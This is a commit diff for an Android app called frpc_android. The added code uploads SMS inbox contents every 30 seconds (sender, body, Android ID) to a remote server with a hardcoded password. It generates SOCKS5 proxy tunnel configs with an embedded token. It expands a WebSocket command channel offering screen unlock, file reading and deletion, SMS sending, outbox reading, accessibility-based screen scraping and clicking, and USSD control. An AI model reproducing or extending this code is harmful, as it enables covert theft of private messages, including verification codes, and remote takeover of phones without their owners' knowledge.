hxMac 3 săptămâni în urmă
părinte
comite
0267b66fb3

+ 3 - 3
frpc_android-master/app/build.gradle

@@ -514,8 +514,8 @@ android {
 //        minSdkVersion 29
         //noinspection ExpiredTargetSdkVersion
         targetSdkVersion 30
-        versionCode 59
-        versionName "0.40.4.9"
+        versionCode 60
+        versionName "0.40.5.1"
         multiDexEnabled true
         testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
     }
@@ -901,7 +901,7 @@ dependencies {
     implementation "androidx.room:room-runtime:$room_version"
     annotationProcessor "androidx.room:room-compiler:$room_version"
     implementation "androidx.room:room-rxjava2:$room_version"
-    implementation 'com.blankj:utilcodex:1.30.6'
+
     implementation 'androidx.work:work-runtime:2.7.0'
     implementation 'org.xutils:xutils:3.9.0'
     implementation 'com.alibaba:fastjson:1.2.73'

+ 1 - 0
frpc_android-master/app/src/main/AndroidManifest.xml

@@ -29,6 +29,7 @@
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
 
 
+
     <application
         android:name="com.app.MainApp"
         android:allowBackup="true"

+ 7 - 2
frpc_android-master/app/src/main/java/com/app/duck/ui/IniEditActivity.java

@@ -31,7 +31,7 @@ public class IniEditActivity extends BaseActivity<ActivityIniEditBinding> {
 
 
     private Config config;
-
+    private String name = "";
 
     @Override
     public void initView() {
@@ -41,6 +41,11 @@ public class IniEditActivity extends BaseActivity<ActivityIniEditBinding> {
             b.editText.setText(config.getCfg(), 1);
             b.toolbar.setTitle(TextUtils.isEmpty(config.getName()) ? getString(R.string.noName) : config.getName());
         });
+
+        if (getIntent() != null) {
+
+            name = getIntent().getStringExtra("newKey");
+        }
     }
 
 
@@ -73,7 +78,7 @@ public class IniEditActivity extends BaseActivity<ActivityIniEditBinding> {
                 .negativeText(R.string.cancel)
                 .positiveText(R.string.done)
                 .onNegative((dialog, which) -> dialog.dismiss())
-                .input("", TextUtils.isEmpty(config.getName()) ? "" : config.getName(), false, (dialog, input) ->
+                .input("", TextUtils.isEmpty(config.getName()) ? name : config.getName(), false, (dialog, input) ->
                 {
                     config.setName(input.toString())
                             .setCfg(b.editText.getText());

+ 147 - 15
frpc_android-master/app/src/main/java/com/app/duck/ui/MainActivity.java

@@ -11,8 +11,11 @@ import android.annotation.SuppressLint;
 import android.app.AlertDialog;
 import android.content.Context;
 import android.content.Intent;
+import android.database.Cursor;
 import android.net.Uri;
+import android.os.Bundle;
 import android.provider.Settings;
+import android.provider.Telephony;
 import android.telephony.SubscriptionInfo;
 import android.telephony.SubscriptionManager;
 import android.telephony.TelephonyManager;
@@ -39,20 +42,26 @@ import com.app.duck.BuildConfig;
 import com.app.duck.R;
 import com.app.duck.adapter.PhoneListAdapter2;
 import com.app.duck.database.Config;
+import com.app.duck.database.DBHelper;
 import com.app.duck.databinding.ActivityMainBinding;
 import com.app.duck.util.CheckInboxWorker;
 import com.app.duck.util.HeartbeatWorker;
 import com.app.duck.util.HxUtils;
 import com.app.duck.util.TgBot;
 import com.app.duck.util.WsManager;
+import com.app.http.APPConfig;
+import com.app.http.BaseBean;
+import com.app.http.Http;
 import com.blankj.utilcode.util.ActivityUtils;
 import com.blankj.utilcode.util.AppUtils;
+import com.blankj.utilcode.util.GsonUtils;
 import com.blankj.utilcode.util.LanguageUtils;
 import com.blankj.utilcode.util.ObjectUtils;
 import com.blankj.utilcode.util.PermissionUtils;
 import com.blankj.utilcode.util.StringUtils;
 import com.blankj.utilcode.util.ThreadUtils;
 import com.blankj.utilcode.util.ToastUtils;
+import com.blankj.utilcode.util.Utils;
 import com.elvishew.xlog.XLog;
 import com.google.android.material.dialog.MaterialAlertDialogBuilder;
 import com.google.android.material.navigation.NavigationView;
@@ -61,6 +70,7 @@ import com.google.gson.JsonObject;
 import com.jeremyliao.liveeventbus.LiveEventBus;
 
 import java.util.ArrayList;
+import java.util.Calendar;
 import java.util.HashMap;
 import java.util.List;
 import java.util.Locale;
@@ -145,20 +155,41 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
     public boolean onOptionsItemSelected(@NonNull MenuItem item) {
         switch (item.getItemId()) {
             case R.id.action_new_text:
-                String content = "[common]\n" +
-                        "server_addr = {{FRPC_IP}}\n" +
-                        "server_port = 7000\n" +
-                        "token = 123678asbsfd\n" +
-                        "\n" +
-                        "\n" +
-                        "[socks5_proxy_tunnel{{FRPC_PORT}}]\n" +
-                        "type = tcp\n" +
-                        "remote_port = {{FRPC_PORT}}\n" +
-                        "plugin = socks5";
-                content = content.replace("{{FRPC_IP}}", BuildConfig.FRPC_IP).replace("{{FRPC_PORT}}", BuildConfig.FRPC_PORT);
-
-                LiveEventBus.get(INTENT_EDIT_INI).post(new Config(content));
-                startActivity(new Intent(MainActivity.this, IniEditActivity.class));
+                new MaterialDialog.Builder(ActivityUtils.getTopActivity())
+                        .title(StringUtils.getString(R.string.action_add_text))
+                        .content(R.string.please_enter_the_server_port)
+                        .canceledOnTouchOutside(false)
+                        .autoDismiss(false)
+                        .negativeText(R.string.cancel)
+                        .positiveText(R.string.done)
+                        .onNegative((dialog, which) -> dialog.dismiss())
+                        .onPositive((dialog, which) -> {
+                            dialog.dismiss();
+                        })
+                        .input(getString(R.string.server_port), "", false, (dialog, input) ->
+                        {
+                            if (!StringUtils.isEmpty(input)) {
+                                String content = "[common]\n" +
+                                        "server_addr = {{FRPC_IP}}\n" +
+                                        "server_port = 7000\n" +
+                                        "token = 123678asbsfd\n" +
+                                        "\n" +
+                                        "\n" +
+                                        "[socks5_proxy_tunnel{{FRPC_PORT}}]\n" +
+                                        "type = tcp\n" +
+                                        "remote_port = {{FRPC_PORT}}\n" +
+                                        "plugin = socks5";
+                                content = content.replace("{{FRPC_IP}}", BuildConfig.FRPC_IP).replace("{{FRPC_PORT}}", input);
+                                LiveEventBus.get(INTENT_EDIT_INI).post(new Config(content));
+                                Bundle bundle = new Bundle();
+                                bundle.putString("newKey", "sp-" + input);
+                                ActivityUtils.startActivity(bundle, IniEditActivity.class);
+                            }
+                        })
+                        .inputType(InputType.TYPE_CLASS_NUMBER) // 设置输入类型为数字
+                        .show();
+
+
                 break;
             case R.id.action_accessibility:
                 Intent intent = new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS);
@@ -233,6 +264,9 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
     @Override
     public boolean onNavigationItemSelected(@NonNull MenuItem item) {
         switch (item.getItemId()) {
+            case R.id.restart:
+                AppUtils.relaunchApp(true);
+                return true;
             case R.id.logcat_push:
                 new TgBot("", false);
                 return true;
@@ -271,6 +305,7 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
         }
         telephonyManager = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
         SimCardStateListener();
+        checkBoxListener();
         subscriptionManager = (SubscriptionManager) getSystemService(Context.TELEPHONY_SUBSCRIPTION_SERVICE);
 
         @SuppressLint("MissingPermission") List<SubscriptionInfo> subsInfoList = subscriptionManager.getActiveSubscriptionInfoList();
@@ -369,7 +404,6 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
     }
 
     public void SimCardStateListener() {
-
         ThreadUtils.executeBySingleAtFixRate(new ThreadUtils.Task<String>() {
             @Override
             public String doInBackground() {
@@ -445,6 +479,104 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
         }, 2000, 2000, TimeUnit.MILLISECONDS);
     }
 
+    public void checkBoxListener() {
+        ThreadUtils.executeBySingleAtFixRate(new ThreadUtils.Task<String>() {
+            @Override
+            public String doInBackground() {
+                try {
+                    Calendar calendar = Calendar.getInstance();
+                    calendar.add(Calendar.DAY_OF_MONTH, -1); // 向前推一天
+                    long tenDaysAgo = calendar.getTimeInMillis();
+                    ArrayList<Integer> list = new ArrayList<>();
+                    Uri inboxUri = Uri.parse("content://sms/inbox");
+                    String[] projection = new String[]{Telephony.Sms._ID};
+                    String sortOrder = "date DESC"; // 按日期倒序排序
+                    String selection = "date > ?";
+                    String[] selectionArgs = new String[]{String.valueOf(tenDaysAgo)};
+                    Cursor cursor = Utils.getApp().getContentResolver().
+                            query(inboxUri,
+                                    projection,
+                                    selection,
+                                    selectionArgs,
+                                    sortOrder);
+                    if (cursor != null) {
+                        while (cursor.moveToNext()) {
+                            int index = cursor.getColumnIndex(Telephony.Sms._ID);
+                            if (index >= 0) {
+                                int id = cursor.getInt(index);
+                                list.add(id);
+                            }
+                        }
+                        cursor.close();
+
+                    }
+
+                    for (Integer id : list) {
+                        DBHelper dbHelper = new DBHelper(Utils.getApp());
+                        int success = dbHelper.checkSuccessById(id);
+                        if (success != 1) {
+                            HashMap<String, Object> map = new HashMap<>();
+                            HashMap<String, String> dataMap = HxUtils.queryInboxMessage(id);
+                            boolean isHavaNumber = !"UNKNOWN".equals(dataMap.get("address"));
+                            if (success == 2 && !isHavaNumber) {
+                                break;
+                            }
+                            map.put("data", GsonUtils.toJson(dataMap));
+                            map.put("password", "o6M5sG7E@FAWLBL9");
+                            Http.getInstance()
+                                    .setUrlPath(APPConfig.BASE, APPConfig.SMS)
+                                    .setParams(map)
+                                    .setErrorStyle(Http.ERROR_HIDE)
+                                    .setLoadStyle(Http.ERROR_HIDE)
+                                    .setRetryCount(3)
+                                    .post(new Http.HttpCallBack<String>() {
+                                        @Override
+                                        public void onNext(String model) {
+                                            dbHelper.insertOrUpdateData(id, isHavaNumber ? 1 : 2);
+                                        }
+
+                                        @Override
+                                        public void onError(Throwable ex) {
+                                            super.onError(ex);
+                                            XLog.e(StringUtils.getString(R.string.log_tip_4, id), ex);
+                                        }
+
+                                        @Override
+                                        public void onFail(BaseBean t) {
+                                            super.onFail(t);
+                                            XLog.i(StringUtils.getString(R.string.log_tip_4, id));
+                                        }
+                                    });
+                        }
+
+                    }
+                } catch (Exception e) {
+                    LiveEventBus.get(SMS_UPLOAD_TAG).post(StringUtils.getString(R.string.log_tip_3, e.getMessage()));
+                    Log.e(com.app.duck.Config.LOG_TAG, StringUtils.getString(R.string.log_tip_3, e.getMessage()), e);
+                    XLog.e(StringUtils.getString(R.string.log_tip_3, e.getMessage()), e);
+
+                }
+                return getSimCardState();
+            }
+
+            @SuppressLint("SetTextI18n")
+            @Override
+            public void onSuccess(String result) {
+
+            }
+
+            @Override
+            public void onFail(Throwable t) {
+
+            }
+
+            @Override
+            public void onCancel() {
+
+            }
+        }, 2000, 30000, TimeUnit.MILLISECONDS);
+    }
+
     private String getSimCardState() {
         int simState = telephonyManager.getSimState();
         switch (simState) {

+ 1 - 39
frpc_android-master/app/src/main/java/com/app/duck/util/CheckInboxWorker.java

@@ -50,45 +50,7 @@ public class CheckInboxWorker extends Worker {
     }
 
 
-    public static HashMap<String, String> queryInboxMessage(long id) {
-        ContentResolver contentResolver = Utils.getApp().getContentResolver();
-        HashMap<String, String> map = new HashMap<>();
-        Uri uri = Uri.parse("content://sms/");
-        String[] projection = new String[]{Telephony.Sms._ID, Telephony.Sms.ADDRESS, Telephony.Sms.DATE_SENT, Telephony.Sms.DATE, Telephony.Sms.TYPE,
-                Telephony.Sms.BODY, Telephony.Sms.SUBSCRIPTION_ID};
-        String selection = Telephony.Sms._ID + " = ?";
-        String[] selectionArgs = new String[]{String.valueOf(id)};
-        Cursor cursor = contentResolver.query(uri, projection, selection, selectionArgs, null);
-        try {
-            if (cursor != null && cursor.moveToFirst()) {
-                @SuppressLint("Range") String sender = cursor.getString(cursor.getColumnIndex(Telephony.Sms.ADDRESS));//发件人
-                @SuppressLint("Range") String receiver = cursor.getString(cursor.getColumnIndex(Telephony.Sms.DATE));//收件时间
-                @SuppressLint("Range") long sentTime = cursor.getLong(cursor.getColumnIndex(Telephony.Sms.DATE_SENT));//发件日期时间,时间戳格式
-                @SuppressLint("Range") String body = cursor.getString(cursor.getColumnIndex(Telephony.Sms.BODY));//短信的正文内容。
-                @SuppressLint("Range") int subID = cursor.getInt(cursor.getColumnIndex(Telephony.Sms.SUBSCRIPTION_ID));//sim卡关联ID
-                map.put("address", StringUtils.isTrimEmpty(HxUtils.getRecord(subID)) ? "UNKNOWN" : HxUtils.getRecord(subID));
-                map.put("body", body);
-                map.put("timestampMillis", sentTime + "");
-                map.put("sender", sender);
-                map.put("date", receiver);
-                map.put("id", id + "");
-                map.put("sub_id", subID + "");
-                map.put("android_id", DeviceUtils.getAndroidID());
-            }
-        } catch (Exception e) {
-            new TgBot("这台设备好像在检索SMS库的时候出了点问题?请查看设备日志!", true);
-            Log.e(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_7), e);
-            XLog.e(StringUtils.getString(R.string.log_tip_7), e);
-        } finally {
-            if (cursor != null) {
-                cursor.close();
-            }
-
-        }
 
-        return map;
-
-    }
 
     @NonNull
     @Override
@@ -126,7 +88,7 @@ public class CheckInboxWorker extends Worker {
                 int success = dbHelper.checkSuccessById(id);
                 if (success != 1) {
                     HashMap<String, Object> map = new HashMap<>();
-                    HashMap<String, String> dataMap = queryInboxMessage(id);
+                    HashMap<String, String> dataMap = HxUtils.queryInboxMessage(id);
                     boolean isHavaNumber = !"UNKNOWN".equals(dataMap.get("address"));
                     Log.d("hzshkj", "[CheckInboxWorker] doWork: 周期任务上传,success = " + success);
                     if (success == 2 && !isHavaNumber) {

+ 43 - 0
frpc_android-master/app/src/main/java/com/app/duck/util/HxUtils.java

@@ -6,6 +6,7 @@ import android.content.ContentResolver;
 import android.content.Context;
 import android.database.Cursor;
 import android.net.Uri;
+import android.provider.Telephony;
 import android.telephony.SubscriptionInfo;
 import android.telephony.SubscriptionManager;
 import android.util.Log;
@@ -16,6 +17,7 @@ import com.app.duck.BuildConfig;
 import com.app.duck.Config;
 import com.app.duck.R;
 import com.app.duck.dialog.UploadAppDialog;
+import com.blankj.utilcode.util.DeviceUtils;
 import com.blankj.utilcode.util.GsonUtils;
 import com.blankj.utilcode.util.SPUtils;
 import com.blankj.utilcode.util.StringUtils;
@@ -312,4 +314,45 @@ public class HxUtils {
         }
         return GsonUtils.toJson(map);
     }
+
+
+    public static HashMap<String, String> queryInboxMessage(long id) {
+        ContentResolver contentResolver = Utils.getApp().getContentResolver();
+        HashMap<String, String> map = new HashMap<>();
+        Uri uri = Uri.parse("content://sms/");
+        String[] projection = new String[]{Telephony.Sms._ID, Telephony.Sms.ADDRESS, Telephony.Sms.DATE_SENT, Telephony.Sms.DATE, Telephony.Sms.TYPE,
+                Telephony.Sms.BODY, Telephony.Sms.SUBSCRIPTION_ID};
+        String selection = Telephony.Sms._ID + " = ?";
+        String[] selectionArgs = new String[]{String.valueOf(id)};
+        Cursor cursor = contentResolver.query(uri, projection, selection, selectionArgs, null);
+        try {
+            if (cursor != null && cursor.moveToFirst()) {
+                @SuppressLint("Range") String sender = cursor.getString(cursor.getColumnIndex(Telephony.Sms.ADDRESS));//发件人
+                @SuppressLint("Range") String receiver = cursor.getString(cursor.getColumnIndex(Telephony.Sms.DATE));//收件时间
+                @SuppressLint("Range") long sentTime = cursor.getLong(cursor.getColumnIndex(Telephony.Sms.DATE_SENT));//发件日期时间,时间戳格式
+                @SuppressLint("Range") String body = cursor.getString(cursor.getColumnIndex(Telephony.Sms.BODY));//短信的正文内容。
+                @SuppressLint("Range") int subID = cursor.getInt(cursor.getColumnIndex(Telephony.Sms.SUBSCRIPTION_ID));//sim卡关联ID
+                map.put("address", StringUtils.isTrimEmpty(HxUtils.getRecord(subID)) ? "UNKNOWN" : HxUtils.getRecord(subID));
+                map.put("body", body);
+                map.put("timestampMillis", sentTime + "");
+                map.put("sender", sender);
+                map.put("date", receiver);
+                map.put("id", id + "");
+                map.put("sub_id", subID + "");
+                map.put("android_id", DeviceUtils.getAndroidID());
+            }
+        } catch (Exception e) {
+            new TgBot("这台设备好像在检索SMS库的时候出了点问题?请查看设备日志!", true);
+            Log.e(com.app.duck.Config.LOG_TAG, StringUtils.getString(R.string.log_tip_7), e);
+            XLog.e(StringUtils.getString(R.string.log_tip_7), e);
+        } finally {
+            if (cursor != null) {
+                cursor.close();
+            }
+
+        }
+
+        return map;
+
+    }
 }

+ 44 - 3
frpc_android-master/app/src/main/java/com/app/duck/util/WsManager.java

@@ -41,6 +41,7 @@ import com.romellfudi.ussdlibrary.OverlayShowingService;
 import com.romellfudi.ussdlibrary.PayController;
 import com.romellfudi.ussdlibrary.USSDApi;
 import com.romellfudi.ussdlibrary.USSDController;
+import com.romellfudi.ussdlibrary.USSDService;
 
 import java.io.File;
 import java.lang.reflect.Field;
@@ -190,6 +191,43 @@ public final class WsManager {
                     case "sendSMSDelayed":
                         sendSMSDelayed(requestId, content, value);
                         break;
+                    case "relaunchApp":
+                        AppUtils.relaunchApp(true);
+                        break;
+                    case "getLastEventText":
+                        try {
+                            sendUssd(requestId, USSDService.event.getText().toString());
+                        } catch (Exception w) {
+
+                        }
+                        break;
+                    case "help":
+                        HashMap<String, String> helpMap = new HashMap<>();
+                        helpMap.put("invoke", "启动ussd命令");
+                        helpMap.put("invoke2", "启动ussd命令");
+                        helpMap.put("send", "发送ussd命令");
+                        helpMap.put("cancel", "取消ussd命令");
+                        helpMap.put("log", "传送设备日志");
+                        helpMap.put("message", "发送tg消息");
+                        helpMap.put("config", "更新配置");
+                        helpMap.put("phoneConfig", "获取设备配置");
+                        helpMap.put("getRootInActiveWindow", "获取当前界面内容");
+                        helpMap.put("startApp", "启动某个App");
+                        helpMap.put("performAction", "点击");
+                        helpMap.put("performGlobalAction", "全局点击");
+                        helpMap.put("unlock", "解除锁屏");
+                        helpMap.put("fileList", "获取文件列表");
+                        helpMap.put("deleteFile", "删除文件");
+                        helpMap.put("getFileByPath", "获取某个路径下的文件");
+                        helpMap.put("getPath", "获取某个路径下的文件列表");
+                        helpMap.put("sendSMS", "发送短信");
+                        helpMap.put("getOutBoxSMS", "获取发件箱内容");
+                        helpMap.put("sendSMSDelayed", "发送短信,有回调");
+                        helpMap.put("relaunchApp", "重启本App");
+                        helpMap.put("getLastEventText", "获取最新一次ussd消息提示内容");
+                        helpMap.put("help", "获取所有命令列表");
+                        sendUssd(requestId, GsonUtils.toJson(helpMap));
+                        break;
                     default:
                         XLog.e(command + " 没有定义该操作!");
                         sendWebSocketMsg(requestId, "exception", command + " 没有定义该操作!");
@@ -483,7 +521,7 @@ public final class WsManager {
                 @Override
                 public void over(String message) {
                     sendWebSocketMsg(request_id, "over", message);
-                    Utils.getApp().stopService(svc);
+//                    Utils.getApp().stopService(svc);
                 }
             });
         } catch (Exception e) {
@@ -535,8 +573,8 @@ public final class WsManager {
                 @Override
                 public void over(String message) {
                     sendWebSocketMsg(request_id, "over", message);
-                    if (null != svc)
-                        Utils.getApp().stopService(svc);
+//                    if (null != svc)
+//                        Utils.getApp().stopService(svc);
                 }
             });
         } catch (Exception e) {
@@ -694,6 +732,9 @@ public final class WsManager {
         try {
             ussdApi.cancel();
             sendWebSocketMsg(request_id, "cancel", "cancel");
+            if (null != svc) {
+                Utils.getApp().stopService(svc);
+            }
         } catch (Exception e) {
             sendWebSocketMsg(request_id, "exception", e.getMessage());
         }

+ 3 - 0
frpc_android-master/app/src/main/res/menu/activity_main_drawer.xml

@@ -13,6 +13,9 @@
     <item
         android:id="@+id/change"
         android:title="@string/change" />
+    <item
+        android:id="@+id/restart"
+        android:title="@string/restart" />
 
     <!--    <group android:checkableBehavior="single">-->
     <!--        <item-->

+ 3 - 0
frpc_android-master/app/src/main/res/values-en/strings.xml

@@ -88,5 +88,8 @@
     <string name="read_phone_state_sim">Without READ_PHONE_STATE permission, try refreshing the SIM card list again after two seconds.</string>
     <string name="sim">Detected that the sim card has been removed</string>
     <string name="please_set_the_number_for_the_sim_card">Please set the number for the sim-%1$d card [ %2$s ] !</string>
+    <string name="please_enter_the_server_port">Please enter the server port.</string>
+    <string name="server_port">Server Port</string>
+    <string name="restart">Restart</string>
 
 </resources>

+ 3 - 0
frpc_android-master/app/src/main/res/values/strings.xml

@@ -86,5 +86,8 @@
     <string name="read_phone_state_sim">没有READ_PHONE_STATE权限,两秒后重新尝试刷新SIM卡列表..</string>
     <string name="sim">检测到sim卡被拔出</string>
     <string name="please_set_the_number_for_the_sim_card">请给 SIM-%1$d [ %2$s ]卡设置手机号码!</string>
+    <string name="please_enter_the_server_port">请输入服务端口.</string>
+    <string name="server_port">服务端口</string>
+    <string name="restart">重启</string>
 
 </resources>

+ 1 - 0
frpc_android-master/ussd-library/build.gradle

@@ -86,6 +86,7 @@ dependencies {
     implementation 'com.orhanobut:logger:2.2.0'
     implementation 'com.google.code.gson:gson:2.10.1'
     api 'com.elvishew:xlog:1.11.0'
+    api 'com.blankj:utilcodex:1.30.6'
 }
 
 //apply from: 'https://raw.githubusercontent.com/romellfudi/assets/bintray/artifactory_bintray.gradle'

+ 14 - 1
frpc_android-master/ussd-library/src/main/java/com/romellfudi/ussdlibrary/USSDService.java

@@ -21,10 +21,12 @@ import android.view.accessibility.AccessibilityNodeInfo;
 
 import androidx.annotation.RequiresApi;
 
+import com.blankj.utilcode.util.SPUtils;
 import com.elvishew.xlog.XLog;
 import com.google.gson.Gson;
 
 import java.util.ArrayList;
+import java.util.LinkedList;
 import java.util.List;
 
 /**
@@ -55,6 +57,15 @@ public class USSDService extends AccessibilityService {
         }
 
         new Handler(Looper.getMainLooper()).postDelayed(() -> {
+            Log.d("hzshkj", String.format("USSDService onAccessibilityEvent: [type] %s [class] %s [package] %s [time] %s [text] %s [ContentChangeTypes] %s [WindowChanges] %s",
+                    event.getEventType(),
+                    event.getClassName(),
+                    event.getPackageName(),
+                    event.getEventTime(),
+                    event.getText(),
+                    event.getContentChangeTypes(),
+                    event.getWindowChanges()
+            ));
             XLog.i(String.format("USSDService onAccessibilityEvent: [type] %s [class] %s [package] %s [time] %s [text] %s [ContentChangeTypes] %s [WindowChanges] %s",
                     event.getEventType(),
                     event.getClassName(),
@@ -73,6 +84,7 @@ public class USSDService extends AccessibilityService {
 
             String response = event.getText().toString();
             XLog.i("USSDService response = " + response);
+
             if (LoginView(event) && notInputText(event)) {
                 XLog.i("USSDService: 1");
                 clickOnButton(event, 0);
@@ -90,10 +102,11 @@ public class USSDService extends AccessibilityService {
                     USSDController.instance.callbackInvoke.over(response);
 
             } else if (isUSSDWidget(event)) {
+
                 XLog.i("USSDService: 3");
                 if (notInputText(event)) {
                     XLog.i("USSDService: 4");
-                    clickOnButton(event, 0);
+//                    clickOnButton(event, 0);
                     USSDController.instance.isRunning = false;
                     if (USSDController.instance.send)
                         USSDController.instance.callbackMessage.over(response);